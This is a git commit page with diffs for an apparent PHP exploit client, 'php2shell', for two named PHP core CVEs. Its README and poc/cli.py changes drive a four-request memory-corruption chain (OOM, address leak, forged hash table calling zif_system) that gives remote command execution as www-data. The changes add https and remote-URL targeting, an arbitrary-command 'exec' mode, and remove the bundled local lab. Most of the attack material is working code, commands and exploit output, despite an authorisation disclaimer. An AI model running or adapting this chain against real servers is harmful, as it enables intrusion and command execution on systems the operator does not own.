5 Commits
Author SHA1 Message Date
ZSecurity 46d36a76d8 fix(cli): accept --url on check and report target reachability 2026-10-24 15:13:09 +07:00
ZSecurity d1a6f0ab32 refactor: ship the exploit client only; drop the bundled lab harness
ci / macos-latest / py3.12 (push) Canceled after 0s
ci / macos-latest / py3.9 (push) Canceled after 0s
ci / ubuntu-latest / py3.12 (push) Canceled after 0s
ci / ubuntu-latest / py3.9 (push) Canceled after 0s
ci / windows-latest / py3.12 (push) Canceled after 0s
ci / windows-latest / py3.9 (push) Canceled after 0s
- remove lab/ (index.php, apache conf, up/down/status shims)
- remove poc/lab.py and the 'poc lab' subcommand
- proof path defaults to a fixed per-user dir so the working directory no longer matters
- README: target recipe documented instead of shipped
2026-10-24 15:02:47 +07:00
ZSecurity a0b4a6cb95 fix(cli): distinguish 'no /out mount here' from 'stage-3 placement missed'
ci / macos-latest / py3.12 (push) Canceled after 0s
ci / macos-latest / py3.9 (push) Canceled after 0s
ci / ubuntu-latest / py3.12 (push) Canceled after 0s
ci / ubuntu-latest / py3.9 (push) Canceled after 0s
ci / windows-latest / py3.12 (push) Canceled after 0s
ci / windows-latest / py3.9 (push) Canceled after 0s
2026-10-24 14:55:36 +07:00
ZSecurity 2b8b63e5ae fix(cli): report stage-3 placement misses instead of retrying silently
ci / macos-latest / py3.12 (push) Canceled after 0s
ci / macos-latest / py3.9 (push) Canceled after 0s
ci / ubuntu-latest / py3.12 (push) Canceled after 0s
ci / ubuntu-latest / py3.9 (push) Canceled after 0s
ci / windows-latest / py3.12 (push) Canceled after 0s
ci / windows-latest / py3.9 (push) Canceled after 0s
2026-10-24 14:41:03 +07:00
ZSecurity 663481efe2 feat(wire): https target support with certificate verification; document reverse-proxy limitation
ci / macos-latest / py3.9 (push) Canceled after 0s
ci / macos-latest / py3.12 (push) Canceled after 0s
ci / ubuntu-latest / py3.9 (push) Canceled after 0s
ci / ubuntu-latest / py3.12 (push) Canceled after 0s
ci / windows-latest / py3.9 (push) Canceled after 0s
ci / windows-latest / py3.12 (push) Canceled after 0s
2026-10-24 14:19:57 +07:00
16 changed files with 436 additions and 428 deletions
+23 -1
View File
@@ -224,7 +224,7 @@ The same code worked from git-bash purely because git-bash's `PATH` put its own
Rule: the CLI must not depend on a shell existing or on which one wins. `poc/lab.py` calls the Rule: the CLI must not depend on a shell existing or on which one wins. `poc/lab.py` calls the
Docker CLI directly with an argument vector (no shell string, no `bash`), so the identical Docker CLI directly with an argument vector (no shell string, no `bash`), so the identical
`python -m poc lab` works from PowerShell, cmd, git-bash, zsh, and bash. Consequences that are `python -m poc exploit` works from PowerShell, cmd, git-bash, zsh, and bash. Consequences that are
easy to get wrong: easy to get wrong:
- **Volume paths are OS-specific.** Windows needs `C:/Users/...` (forward slashes, drive letter); - **Volume paths are OS-specific.** Windows needs `C:/Users/...` (forward slashes, drive letter);
@@ -279,3 +279,25 @@ can need one retry.
## 14. TLS works at the transport layer, but a reverse proxy breaks stage 2
The wire layer originally refused `https://`. It now wraps the socket with `ssl` (`--tls`, implied
by an `https://` url) and verifies certificates by default (`--insecure` for self-signed labs).
Measured against an `nginx:alpine` TLS terminator in front of the same lab container
(`proxy_http_version 1.1`, `proxy_request_buffering off`, `proxy_buffering off`,
`Connection close`):
| Path | A1 | B1 |
|---|---|---|
| direct `http://127.0.0.1:18110` | 500 (real OOM) | 200 + 819208-byte decoded cookie → chain completes, `uid=33(www-data)` |
| through nginx over `https://` | 500 (real OOM) | Apache logs a 200 with a truncated body, then `zend_mm_heap corrupted` → child `exit signal Abort (6)`; the proxy returns `502` |
So TLS itself is fine, and the OOM producer reaches the target over TLS. The failure is the
second stage's *response*: the worker aborts during that request's shutdown, and a proxy cannot
forward a response whose upstream died mid-body. A direct client reads what was already flushed
and carries on. Practical rule: aim the chain at mod_php's own listener, not at a terminator, a
CDN, or a load balancer. Both `Connection` modes (`""` and `close`) and buffering off were tried;
neither changed the outcome.
+112 -48
View File
@@ -5,8 +5,6 @@ using only HTTP multipart requests, with no application code required and no `se
in the target page. in the target page.
``` ```
$ ./lab/up.sh
target: OK
$ python -m poc exploit $ python -m poc exploit
php2shell poc 0.1.0 | ZSecurity | Linuxhackingid php2shell poc 0.1.0 | ZSecurity | Linuxhackingid
[1/4] A1 oom status=HTTP/1.0 500 Internal Server Error [1/4] A1 oom status=HTTP/1.0 500 Internal Server Error
@@ -23,10 +21,11 @@ uid=33(www-data) gid=33(www-data) groups=33(www-data)
## Scope and authorisation ## Scope and authorisation
Local Docker lab only. Every connection goes to a container started by `lab/up.sh` on **This repository ships the exploit client only.** It contains no web application, no Docker
`127.0.0.1`. This is a reproduction harness plus a staged verification of two published PHP compose file and no lab harness: you point it at a vulnerable mod_php target you started
core bugs — not a scanner, not a payload delivery tool. Do not point it at a host you do not yourself (see [Target](#target-not-shipped)). It is a reproduction and verification tool for two
own or have written authorisation to test. published PHP core bugs — not a scanner, not a payload delivery tool. Do not point it at a host
you do not own or have written authorisation to test.
## The vulnerabilities ## The vulnerabilities
@@ -76,7 +75,7 @@ not a citation:
```bash ```bash
git clone https://git.linuxhackingid.com/linuxhackingid/php2shell-cve-2026-109618-109619.git git clone https://git.linuxhackingid.com/linuxhackingid/php2shell-cve-2026-109618-109619.git
cd php2shell-cve-2026-109618-109619 cd php2shell-cve-2026-109618-109619
python -m unittest discover -s tests -t . # 63 pass, 4 skip (need the target binary) python -m unittest discover -s tests -t . # 56 pass, 4 skip (need the target binary)
``` ```
Nothing to `pip install`. The two tests that need the target's `libphp.so` skip themselves on a Nothing to `pip install`. The two tests that need the target's `libphp.so` skip themselves on a
@@ -95,60 +94,102 @@ fresh clone — see [research/README.md](research/README.md) to enable them.
| OS | Status | How it was checked | | OS | Status | How it was checked |
|---|---|---| |---|---|---|
| Windows 11 | works | PowerShell + git-bash, stock `PATH` where `bash` resolves to WSL; full chain `uid=33(www-data)` | | Windows 11 | works | PowerShell + git-bash, stock `PATH` where `bash` resolves to WSL; full chain `uid=33(www-data)` |
| Linux x86_64 | works | Python 3.9 and 3.13 containers: 67/67 unit tests, plus the full chain executed from a Linux client against the lab over a Docker network (`uid=33(www-data)`) | | Linux x86_64 | works | Python 3.9 and 3.13 containers: full unit suite, plus the full chain executed from a Linux client against the target over a Docker network (`uid=33(www-data)`) |
| macOS | expected to work, **not executed here** | no macOS host available; the CI matrix (`.github/workflows/ci.yml`) runs the unit tests and offline selftest on `macos-latest`, and the code has no Windows-only branches except the separator normalisation in `poc/lab.py` | | macOS | expected to work, **not executed here** | no macOS host available; the CI matrix (`.github/workflows/ci.yml`) runs the unit tests and offline selftest on `macos-latest` |
Verified interpreter versions: 3.9.25, 3.13, 3.14.7. Verified interpreter versions: 3.9.25, 3.13, 3.14.7.
## Quickstart ## Quickstart
Windows (PowerShell) and Linux/macOS are the same commands: You need a running vulnerable target first (next section). Then, from any directory:
```powershell ```bash
python -m poc lab # bring the target up, check it, run the chain python -m poc check --url http://127.0.0.1:18110 # version, ini, libphp hash, profile
cat out\p1 # uid=33(www-data) python -m poc exploit --url http://127.0.0.1:18110 # A1 -> B1 -> A2 -> B2 -> proof
```
Sample output:
```
[1/4] A1 oom status=HTTP/1.0 500 Internal Server Error
[2/4] B1 leak decoded=819208 libphp=0x78991f26f000 main=0x78991d600000 count=87
[3/4] A2 oom status=HTTP/1.0 500 Internal Server Error
[4/4] B2 forge S=0x78991d6f8398 zif_system=0x78991f6d4370 status=
RCE OK; proof C:\Users\you\AppData\Local\php2shell\out\p1:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
The proof file is written by the target into its `/out` mount. This client looks for it in a
fixed per-user directory — `%LOCALAPPDATA%\php2shell\out` on Windows,
`${XDG_DATA_HOME:-~/.local/share}/php2shell/out` on Linux/macOS — so **the folder you run `poc`
from does not matter**. Point the target's `/out` at that directory, or pass `--proof PATH`.
`poc exploit` refuses to run when nothing is listening and tells you so. Nothing is chained
implicitly: `check` only reads configuration, `leak` stops after the disclosure, `exploit` sends
the whole chain.
## Target (not shipped)
Requirements, all confirmed against `php:8.4.26-apache`:
- Apache **mod_php** (not FPM — the confirmed path depends on mod_php's shutdown running after a
failed startup)
- `php.ini-production`: `memory_limit=128M`, `post_max_size=8M`, `display_errors=Off`,
`output_buffering=0`, `session.upload_progress.enabled=On`
- **one prefork child** for deterministic results (`MaxRequestWorkers 1`); with more workers the
four requests must otherwise land on the same child
- a writable `/out` mount which matches the client's proof directory
Minimal target, two files plus a container. `index.php`:
```php
<?php echo "OK\n";
```
`apache-single-worker.conf`:
```apache
KeepAlive Off
<IfModule mpm_prefork_module>
StartServers 1
MinSpareServers 1
MaxSpareServers 1
MaxRequestWorkers 1
ServerLimit 1
MaxConnectionsPerChild 0
</IfModule>
``` ```
```bash ```bash
python -m poc lab OUT="${XDG_DATA_HOME:-$HOME/.local/share}/php2shell/out"; mkdir -p "$OUT"
cat out/p1 docker run -d --name p2s-lab -p 127.0.0.1:18110:80 \
-v "$PWD/index.php:/var/www/html/index.php:ro" \
-v "$PWD/apache-single-worker.conf:/etc/apache2/conf-enabled/zz-p2s.conf:ro" \
-v "$OUT:/out" \
php:8.4.26-apache /bin/sh -c 'cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini;
chown -R www-data:www-data /out 2>/dev/null || true; exec apache2-foreground'
``` ```
Step by step, if you want to see each stage: On Windows/PowerShell use forward-slash paths (`C:/Users/you/...`) and
`$env:LOCALAPPDATA + "/php2shell/out"` for `OUT`. The asset files are deliberately not part of
```bash this repository — the exploit client is the deliverable, the target is your lab.
./lab/up.sh # or: python -m poc lab up
python -m poc check # version, ini, libphp hash, profile, worker count
python -m poc leak # A1 + B1 only: the disclosure
python -m poc exploit # A1 -> B1 -> A2 -> B2 -> proof file
python -m poc status # or: python -m poc lab status
./lab/down.sh # or: python -m poc lab down
```
The lab and the exploit are deliberately separate commands: `poc lab` only manages the
container, `poc check` only reads the target's configuration, and `poc exploit` only sends the
chain. Nothing is chained implicitly, so you can point `poc exploit` at a target someone else
started. `poc exploit` refuses to run when nothing is listening and tells you to start a lab.
## CLI ## CLI
| Command | Purpose | | Command | Purpose |
|---|---| |---|---|
| `poc lab [up\|down\|status]` | container lifecycle only — no exploitation. `up` (default) recreates the target and waits until it answers; `down` removes it; `status` dumps diagnostics. `--image`, `--name`, `--port`, `--net` override the target |
| `poc check` | preflight: php version + vulnerable/patched verdict, nine ini values, `libphp.so` sha256 → profile, worker count. Exit 1 when the target is patched or the build is unknown. Sends no exploit traffic. | | `poc check` | preflight: php version + vulnerable/patched verdict, nine ini values, `libphp.so` sha256 → profile, worker count. Exit 1 when the target is patched or the build is unknown. Sends no exploit traffic. |
| `poc status` | container diagnostics: php/apache version, the nine ini values, libphp sha256, worker count | | `poc status` | diagnostics for a **local** container via `docker exec`: php/apache version, the nine ini values, libphp sha256, worker count |
| `poc offsets --lib PATH` | derive `zval_ptr_dtor`, `zif_system`, `zif_passthru` from an ELF `.symtab`/`.dynsym` | | `poc offsets --lib PATH` | derive `zval_ptr_dtor`, `zif_system`, `zif_passthru` from an ELF `.symtab`/`.dynsym` |
| `poc leak` | A1 + B1 only: produce and classify the disclosure cookie (`--save` keeps the raw response) | | `poc leak` | A1 + B1 only: produce and classify the disclosure cookie (`--save` keeps the raw response) |
| `poc exec --cmd CMD` | full chain with CMD wrapped so its output returns to you via `/out/.poc-exec`; prints the output, returns its exit code | | `poc exec --cmd CMD` | full chain with CMD wrapped so its output returns to you via `/out/.poc-exec`; prints the output, returns its exit code |
| `poc exploit` | full chain; `--dry-run` forges and hashes all four bodies without touching the network; `--retries N`; `--cmd`; `--proof` | | `poc exploit` | full chain; `--dry-run` forges and hashes all four bodies without touching the network; `--retries N`; `--cmd`; `--proof` |
| `poc selftest` | offline: build all four bodies, check sizes and layout invariants | | `poc selftest` | offline: build all four bodies, check sizes and layout invariants |
All commands accept `--host --port --name --profile --workers --json`. `--workers N` occupies All commands accept `--host --port --url --path --tls --insecure --profile --workers --json`.
`N-1` prefork children so the four chain requests land on the same worker. `--workers N` occupies `N-1` prefork children so the four chain requests land on the same worker.
`--name` (default `p2s-lab`) selects the container for `check` and `status`.
`IMAGE`, `NAME`, `PORT`, and `NET` environment variables are honoured by `poc lab` (so the shell
wrappers keep the old `IMAGE=… NAME=… ./lab/up.sh` idiom working), and the equivalent flags
(`--image --name --port --net`) are the portable form.
## Targeting a URL or a remote host ## Targeting a URL or a remote host
@@ -160,9 +201,23 @@ python -m poc exploit --url http://10.0.0.5:8080/app/index.php
python -m poc leak --url http://lab.internal --save leak.resp python -m poc leak --url http://lab.internal --save leak.resp
``` ```
`--url` fills in host, port (default 80) and the request path (default `/index.php`); `--host`, `--url` fills in host, port (80 for `http://`, 443 for `https://`) and the request path (default
`--port` and `--path` override it. **`http://` only** — the wire layer speaks raw HTTP on a `/index.php`); `--host`, `--port`, `--tls` and `--path` override it. TLS is real TLS: certificate
socket, so TLS is refused rather than silently downgraded. verification is **on by default**, so a lab with a self-signed certificate needs `--insecure`:
```bash
python -m poc exploit --url https://127.0.0.1:18443/index.php --insecure
python -m poc exploit --host 10.0.0.5 --port 8443 --tls --insecure
```
What is verified over TLS: the transport layer (handshake, certificate rejection by default,
chunked framing through a `ssl` socket) and stage A1 against a TLS-terminated target — it returns
the real `500` OOM. What is **not** reliable: stages B1 onward when a reverse proxy sits in front
of mod_php, because the worker aborts during that request's shutdown and the proxy turns the
truncated upstream response into `502 Bad Gateway` (measured: direct `http://` to the same
container gives full RCE; the same container behind nginx TLS gives `502` at B1). Point the chain
at mod_php directly rather than through a TLS terminator, a CDN, or a load balancer.
Only point this at a host you own or have written authorisation to test. There is no scanning, Only point this at a host you own or have written authorisation to test. There is no scanning,
no target list, no threading: one URL, one chain, and the proof lands in the mounted `out/` no target list, no threading: one URL, one chain, and the proof lands in the mounted `out/`
@@ -220,6 +275,14 @@ retries**, with a counter file in `/out` incrementing 1→5 — so the worker su
cycles; what does not exist is a shared session. Anything that must survive between commands has cycles; what does not exist is a shared session. Anything that must survive between commands has
to be written to disk (`/out`) rather than held in memory. to be written to disk (`/out`) rather than held in memory.
Stage 3 can miss intermittently: A2's cheap OOM leaves the stale pointer at a slightly different
spot, B2 then completes normally (`200`, worker alive) instead of firing the destructor, and no
output appears. `poc exploit` prints
`no command output; B2 status=... - stage-3 placement missed` and retries the whole chain; keep
`--retries` at 3 or higher. Three consecutive cold starts (fresh container each) all succeeded on
attempt 1, so the miss is occasional rather than systematic.
For commands longer than the 200-byte carrier limit, write a script into `out/` and run For commands longer than the 200-byte carrier limit, write a script into `out/` and run
`python -m poc exec --cmd 'sh</out/c'`. `python -m poc exec --cmd 'sh</out/c'`.
@@ -238,7 +301,7 @@ Every row below is a command that was actually run in this environment, with its
|---|---|---| |---|---|---|
| Lab build identity | `python -m poc check` | PHP 8.4.26 NTS, `libphp.so` sha256 `51663cf8…f4ee679c` = profile; Apache 2.4.69; `memory_limit=128M`, `post_max_size=8M`, `display_errors=Off`, `session.upload_progress.enabled=On`; 1 worker | | Lab build identity | `python -m poc check` | PHP 8.4.26 NTS, `libphp.so` sha256 `51663cf8…f4ee679c` = profile; Apache 2.4.69; `memory_limit=128M`, `post_max_size=8M`, `display_errors=Off`, `session.upload_progress.enabled=On`; 1 worker |
| Symbol offsets | `python -m poc offsets --lib research/libphp.so` | `zval_ptr_dtor=0x65eb60`, `zif_system=0x465370` — matches the profile | | Symbol offsets | `python -m poc offsets --lib research/libphp.so` | `zval_ptr_dtor=0x65eb60`, `zif_system=0x465370` — matches the profile |
| Offline suite | `python -m unittest discover -s tests -t .` | 67 tests, all pass, 0 skipped | | Offline suite | `python -m unittest discover -s tests -t .` | 60 tests, all pass, 0 skipped |
| Body parity | `tests/test_bodies_parity.py` | A1/A2/B1 SHA-256 identical to the reference generators (`8e8fc166…`, `7af66c8f…`, `b6c547e0…`) | | Body parity | `tests/test_bodies_parity.py` | A1/A2/B1 SHA-256 identical to the reference generators (`8e8fc166…`, `7af66c8f…`, `b6c547e0…`) |
| Stage 1–2 (disclosure) | `python -m poc leak` | A1 → 500; B1 → 200 with an 819 208-byte decoded cookie; `zval_ptr_dtor` ×1095; `libphp − main` in range; main-chunk fingerprint count 87 | | Stage 1–2 (disclosure) | `python -m poc leak` | A1 → 500; B1 → 200 with an 819 208-byte decoded cookie; `zval_ptr_dtor` ×1095; `libphp − main` in range; main-chunk fingerprint count 87 |
| Stage 3–4 (RCE) | `python -m poc exploit` | `[4/4] … RCE OK`, `out/p1` contains `uid=33(www-data) gid=33(www-data) groups=33(www-data)`; exit 0 | | Stage 3–4 (RCE) | `python -m poc exploit` | `[4/4] … RCE OK`, `out/p1` contains `uid=33(www-data) gid=33(www-data) groups=33(www-data)`; exit 0 |
@@ -246,8 +309,8 @@ Every row below is a command that was actually run in this environment, with its
| Repeat commands | 5 sequential `poc exec` cycles, same worker | 5/5 exit 0, 0 retries, counter in `/out` reached 5 | | Repeat commands | 5 sequential `poc exec` cycles, same worker | 5/5 exit 0, 0 retries, counter in `/out` reached 5 |
| Linux (unit) | `python -m unittest` inside `python:3.9-slim` and `python:3.13-slim` | 67/67 OK on both | | Linux (unit) | `python -m unittest` inside `python:3.9-slim` and `python:3.13-slim` | 67/67 OK on both |
| Linux (chain) | `python -m poc exec --url http://p2s-lab/index.php` from a `python:3.9-slim` container on the lab network | `uid=33(www-data)` | | Linux (chain) | `python -m poc exec --url http://p2s-lab/index.php` from a `python:3.9-slim` container on the lab network | `uid=33(www-data)` |
| Windows shell independence | `python -m poc lab up` + `python -m poc exploit` from PowerShell with a stock `PATH` where `bash` resolves to `C:\Windows\System32\bash.exe` (WSL) | exit 0, proof written — the CLI never invokes a shell, so WSL-vs-git-bash resolution cannot break it | | Windows shell independence | `python -m poc exploit` from PowerShell with a stock `PATH` where `bash` resolves to WSL | exit 0, proof written - the CLI never invokes a shell, so WSL-vs-git-bash resolution cannot break it |
| Specificity | `poc lab up --image php:8.4.27-apache` then `poc check` / `poc exploit` | `check` → `8.4.27 patched`, `NOT READY`, exit 1; `exploit` → A1 returns 200 (no OOM abort), B1 yields no pointers, exit 1, and **no proof file is created** | | Specificity | same target recipe on `php:8.4.27-apache`, then `poc check` / `poc exploit` | `check` → `8.4.27 patched`, `NOT READY`, exit 1; `exploit` → A1 returns 200 (no OOM abort), B1 yields no pointers, exit 1, and **no proof file is created** |
| Reference control | unchanged reference chain against this lab | same proof — confirms the lab build is the one the published offsets describe | | Reference control | unchanged reference chain against this lab | same proof — confirms the lab build is the one the published offsets describe |
The last two rows are the ones that matter for honesty: the chain works on 8.4.26 and does not The last two rows are the ones that matter for honesty: the chain works on 8.4.26 and does not
@@ -295,12 +358,13 @@ target's `libphp.so` SHA-256.
## Repository layout ## Repository layout
``` ```
lab/ docker target (rootfs files + thin shims that call the Python entry points) poc/ profiles · outdir · elf · wire · bodies · forge · leak · cli
poc/ profiles · elf · wire · bodies · forge · leak · lab · cli tests/ 60 unit tests; golden body hashes live in tests/golden/bodies.json
tests/ 32 unit tests; golden body hashes live in tests/golden/bodies.json research/ provenance of the golden hashes (reference clone is gitignored)
research/ reference clone (gitignored), captures, and the diagnostics used to calibrate
``` ```
There is no `lab/`, no compose file and no target webroot here: the client is the artifact.
`research/upstream/` is a read-only clone of the public reference chain, used once as a control `research/upstream/` is a read-only clone of the public reference chain, used once as a control
test and to generate the golden body hashes. Nothing in `poc/` imports it. test and to generate the golden body hashes. Nothing in `poc/` imports it.
-10
View File
@@ -1,10 +0,0 @@
KeepAlive Off
<IfModule mpm_prefork_module>
StartServers 1
MinSpareServers 1
MaxSpareServers 1
MaxRequestWorkers 1
ServerLimit 1
MaxConnectionsPerChild 0
</IfModule>
-9
View File
@@ -1,9 +0,0 @@
#!/usr/bin/env bash
set -eu
HERE=$(cd "$(dirname "$0")" && pwd)
cd "$HERE/.."
PY=${PYTHON:-}
if [ -z "$PY" ]; then
if command -v python >/dev/null 2>&1; then PY=python; else PY=python3; fi
fi
exec "$PY" -m poc lab down "$@"
-1
View File
@@ -1 +0,0 @@
<?php echo "OK\n";
-9
View File
@@ -1,9 +0,0 @@
#!/usr/bin/env bash
set -eu
HERE=$(cd "$(dirname "$0")" && pwd)
cd "$HERE/.."
PY=${PYTHON:-}
if [ -z "$PY" ]; then
if command -v python >/dev/null 2>&1; then PY=python; else PY=python3; fi
fi
exec "$PY" -m poc lab status "$@"
-9
View File
@@ -1,9 +0,0 @@
#!/usr/bin/env bash
set -eu
HERE=$(cd "$(dirname "$0")" && pwd)
cd "$HERE/.."
PY=${PYTHON:-}
if [ -z "$PY" ]; then
if command -v python >/dev/null 2>&1; then PY=python; else PY=python3; fi
fi
exec "$PY" -m poc lab up "$@"
+90 -61
View File
@@ -4,12 +4,13 @@ import hashlib
import json import json
import os import os
import socket import socket
import ssl
import subprocess import subprocess
import sys import sys
import time import time
import urllib.parse import urllib.parse
from poc import bodies, elf, forge, lab, leak, profiles, wire from poc import bodies, elf, forge, leak, outdir, profiles, wire
ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
@@ -55,6 +56,9 @@ def version_state(ver):
def cmd_check(args): def cmd_check(args):
name = args.name name = args.name
reach = ""
if getattr(args, "url", ""):
reach = "yes" if require_target(args.host, args.port, args.tls, args.insecure) else "no"
vtext = dkr(["exec", name, "php", "-v"]) vtext = dkr(["exec", name, "php", "-v"])
ver = parse_version(vtext) ver = parse_version(vtext)
info = dkr(["exec", name, "php", "-i"]) info = dkr(["exec", name, "php", "-i"])
@@ -79,10 +83,13 @@ def cmd_check(args):
rows.append(("libphp_sha256", sha or "?", "")) rows.append(("libphp_sha256", sha or "?", ""))
rows.append(("profile", prof_name or "NO PROFILE MATCH", "")) rows.append(("profile", prof_name or "NO PROFILE MATCH", ""))
rows.append(("workers", workers, "")) rows.append(("workers", workers, ""))
if reach:
rows.append(("reachable", reach, ""))
ok = state == "vulnerable" and prof is not None ok = state == "vulnerable" and prof is not None
if args.json: if args.json:
print(json.dumps({"vulnerable": ok, "version": ver and "%d.%d.%d" % ver, print(json.dumps({"vulnerable": ok, "reachable": reach or None,
"version": ver and "%d.%d.%d" % ver,
"state": state, "libphp_sha256": sha, "state": state, "libphp_sha256": sha,
"profile": prof_name, "ini": ini, "workers": workers}, indent=2)) "profile": prof_name, "ini": ini, "workers": workers}, indent=2))
else: else:
@@ -95,16 +102,17 @@ def cmd_check(args):
def run_leak(args, prof, save=""): def run_leak(args, prof, save=""):
host, port = args.host, args.port host, port = args.host, args.port
path, warm_path = target_paths(args, prof) path, warm_path = target_paths(args, prof)
held = wire.hold_workers(host, port, args.workers - 1, path=path) held = wire.hold_workers(host, port, args.workers - 1, path=path,
tls=args.tls, insecure=args.insecure)
try: try:
wire.warm(host, port, path) wire.warm(host, port, path, tls=args.tls, insecure=args.insecure)
a1 = bodies.build_a1(prof["a1"]) a1 = bodies.build_a1(prof["a1"])
r1 = wire.send(host, port, wire.frame_chunked(warm_path, a1, "%s:%d" % (host, port)), r1 = wire.send(host, port, wire.frame_chunked(warm_path, a1, "%s:%d" % (host, port)),
timeout=args.timeout) timeout=args.timeout, tls=args.tls, insecure=args.insecure)
a1_status = wire.status(r1) a1_status = wire.status(r1)
b1 = bodies.build_b1(prof["leak_spec"], prof["fake_len"], tag=True) b1 = bodies.build_b1(prof["leak_spec"], prof["fake_len"], tag=True)
r2 = wire.send(host, port, wire.frame_chunked(path, b1, "%s:%d" % (host, port)), r2 = wire.send(host, port, wire.frame_chunked(path, b1, "%s:%d" % (host, port)),
timeout=args.timeout) timeout=args.timeout, tls=args.tls, insecure=args.insecure)
if save: if save:
with open(save, "wb") as fh: with open(save, "wb") as fh:
fh.write(r2) fh.write(r2)
@@ -122,7 +130,7 @@ def run_leak(args, prof, save=""):
def cmd_leak(args): def cmd_leak(args):
if not require_target(args.host, args.port): if not require_target(args.host, args.port, args.tls, args.insecure):
return 1 return 1
prof = profile_or_die(args) prof = profile_or_die(args)
info = run_leak(args, prof, args.save) info = run_leak(args, prof, args.save)
@@ -158,19 +166,20 @@ def exploit_once(args, prof):
os.remove(proof_path) os.remove(proof_path)
path, warm_path = target_paths(args, prof) path, warm_path = target_paths(args, prof)
held = wire.hold_workers(host, port, args.workers - 1, path=path) held = wire.hold_workers(host, port, args.workers - 1, path=path,
tls=args.tls, insecure=args.insecure)
try: try:
wire.warm(host, port, path) wire.warm(host, port, path, tls=args.tls, insecure=args.insecure)
a1 = bodies.build_a1(prof["a1"]) a1 = bodies.build_a1(prof["a1"])
r1 = wire.send(host, port, wire.frame_chunked(warm_path, a1, "%s:%d" % (host, port)), r1 = wire.send(host, port, wire.frame_chunked(warm_path, a1, "%s:%d" % (host, port)),
timeout=args.timeout) timeout=args.timeout, tls=args.tls, insecure=args.insecure)
print("[1/4] A1 oom status=%s" % wire.status(r1)) print("[1/4] A1 oom status=%s" % wire.status(r1))
time.sleep(0.2) time.sleep(0.2)
b1 = bodies.build_b1(prof["leak_spec"], prof["fake_len"], tag=True) b1 = bodies.build_b1(prof["leak_spec"], prof["fake_len"], tag=True)
r2 = wire.send(host, port, wire.frame_chunked(path, b1, "%s:%d" % (host, port)), r2 = wire.send(host, port, wire.frame_chunked(path, b1, "%s:%d" % (host, port)),
timeout=args.timeout) timeout=args.timeout, tls=args.tls, insecure=args.insecure)
raw = wire.cookie(r2, b"PHPSESSID") raw = wire.cookie(r2, b"PHPSESSID")
if raw is None: if raw is None:
raise leak.LeakError("no Set-Cookie PHPSESSID (status=%s, bytes=%d)" % raise leak.LeakError("no Set-Cookie PHPSESSID (status=%s, bytes=%d)" %
@@ -184,14 +193,14 @@ def exploit_once(args, prof):
zif = info["lib"] + prof["zif_offset"] zif = info["lib"] + prof["zif_offset"]
a2 = bodies.build_a2(prof["a2"]) a2 = bodies.build_a2(prof["a2"])
r3 = wire.send(host, port, wire.frame_plain(path, a2, "%s:%d" % (host, port)), r3 = wire.send(host, port, wire.frame_plain(path, a2, "%s:%d" % (host, port)),
timeout=args.timeout) timeout=args.timeout, tls=args.tls, insecure=args.insecure)
print("[3/4] A2 oom status=%s" % wire.status(r3)) print("[3/4] A2 oom status=%s" % wire.status(r3))
time.sleep(0.2) time.sleep(0.2)
ht = forge.build_ht(s_addr, zif, args.cmd.encode()) ht = forge.build_ht(s_addr, zif, args.cmd.encode())
b2 = forge.build_b2(prof["b2"], ht_addr=s_addr, ht=ht) b2 = forge.build_b2(prof["b2"], ht_addr=s_addr, ht=ht)
r4 = wire.send(host, port, wire.frame_plain(path, b2, "%s:%d" % (host, port)), r4 = wire.send(host, port, wire.frame_plain(path, b2, "%s:%d" % (host, port)),
timeout=args.timeout) timeout=args.timeout, tls=args.tls, insecure=args.insecure)
print("[4/4] B2 forge S=%#x zif_system=%#x status=%s" % print("[4/4] B2 forge S=%#x zif_system=%#x status=%s" %
(s_addr, zif, wire.status(r4))) (s_addr, zif, wire.status(r4)))
@@ -207,6 +216,15 @@ def exploit_once(args, prof):
print(proof) print(proof)
return 0, proof return 0, proof
time.sleep(0.2) time.sleep(0.2)
if not wire.status(r4):
print(" B2 got no response (worker aborted during shutdown) but %s never appeared"
% proof_path)
print(" the target's /out is not the client's proof directory; mount it at %s"
% os.path.dirname(proof_path))
print(" or pass --proof with the path the target actually writes")
else:
print(" no command output; B2 status=%r - stage-3 placement missed"
% wire.status(r4))
return 1, "" return 1, ""
finally: finally:
wire.release(held) wire.release(held)
@@ -214,7 +232,8 @@ def exploit_once(args, prof):
def cmd_exploit(args): def cmd_exploit(args):
prof = profile_or_die(args) prof = profile_or_die(args)
if not args.dry_run and not require_target(args.host, args.port): if not args.dry_run and not require_target(args.host, args.port,
args.tls, args.insecure):
return 1 return 1
if args.dry_run: if args.dry_run:
s_addr = 0x7D2700000000 + prof["s_delta"] s_addr = 0x7D2700000000 + prof["s_delta"]
@@ -258,19 +277,24 @@ def cmd_exploit(args):
def resolve_target(args): def resolve_target(args):
url = getattr(args, "url", "") url = getattr(args, "url", "")
if not hasattr(args, "tls"):
args.tls = False
if url: if url:
parts = urllib.parse.urlsplit(url) parts = urllib.parse.urlsplit(url)
if parts.scheme and parts.scheme != "http": if parts.scheme in ("https", "wss"):
print("only http:// is supported: the wire layer speaks raw HTTP, TLS is out of scope", args.tls = True
elif parts.scheme not in ("", "http", "ws"):
print("unsupported scheme %r: use http:// or https://" % parts.scheme,
file=sys.stderr) file=sys.stderr)
raise SystemExit(2) raise SystemExit(2)
if not parts.hostname: if not parts.hostname:
print("--url carries no host", file=sys.stderr) print("--url carries no host", file=sys.stderr)
raise SystemExit(2) raise SystemExit(2)
default_port = 443 if args.tls else 80
if args.host is None: if args.host is None:
args.host = parts.hostname args.host = parts.hostname
if args.port is None: if args.port is None:
args.port = parts.port or 80 args.port = parts.port or default_port
if not args.path: if not args.path:
args.path = parts.path or "/index.php" args.path = parts.path or "/index.php"
if args.host is None: if args.host is None:
@@ -289,47 +313,42 @@ def target_paths(args, prof):
return path, (path + "?" + query if query else path) return path, (path + "?" + query if query else path)
def require_target(host, port): def require_target(host, port, tls=False, insecure=False):
scheme = "https" if tls else "http"
try: try:
sock = socket.create_connection((host, port), timeout=3) sock = wire.connect(host, port, 3, tls, insecure)
sock.close() sock.close()
return True return True
except ssl.SSLError as exc:
print("TLS failed for %s://%s:%d: %s" % (scheme, host, port, exc), file=sys.stderr)
if not insecure:
print("self-signed certificate? retry with --insecure", file=sys.stderr)
return False
except OSError: except OSError:
print("cannot connect to %s:%d — no target listening" % (host, port), file=sys.stderr) print("cannot connect to %s://%s:%d - no target listening" % (scheme, host, port),
print("start one first: python -m poc lab up", file=sys.stderr) file=sys.stderr)
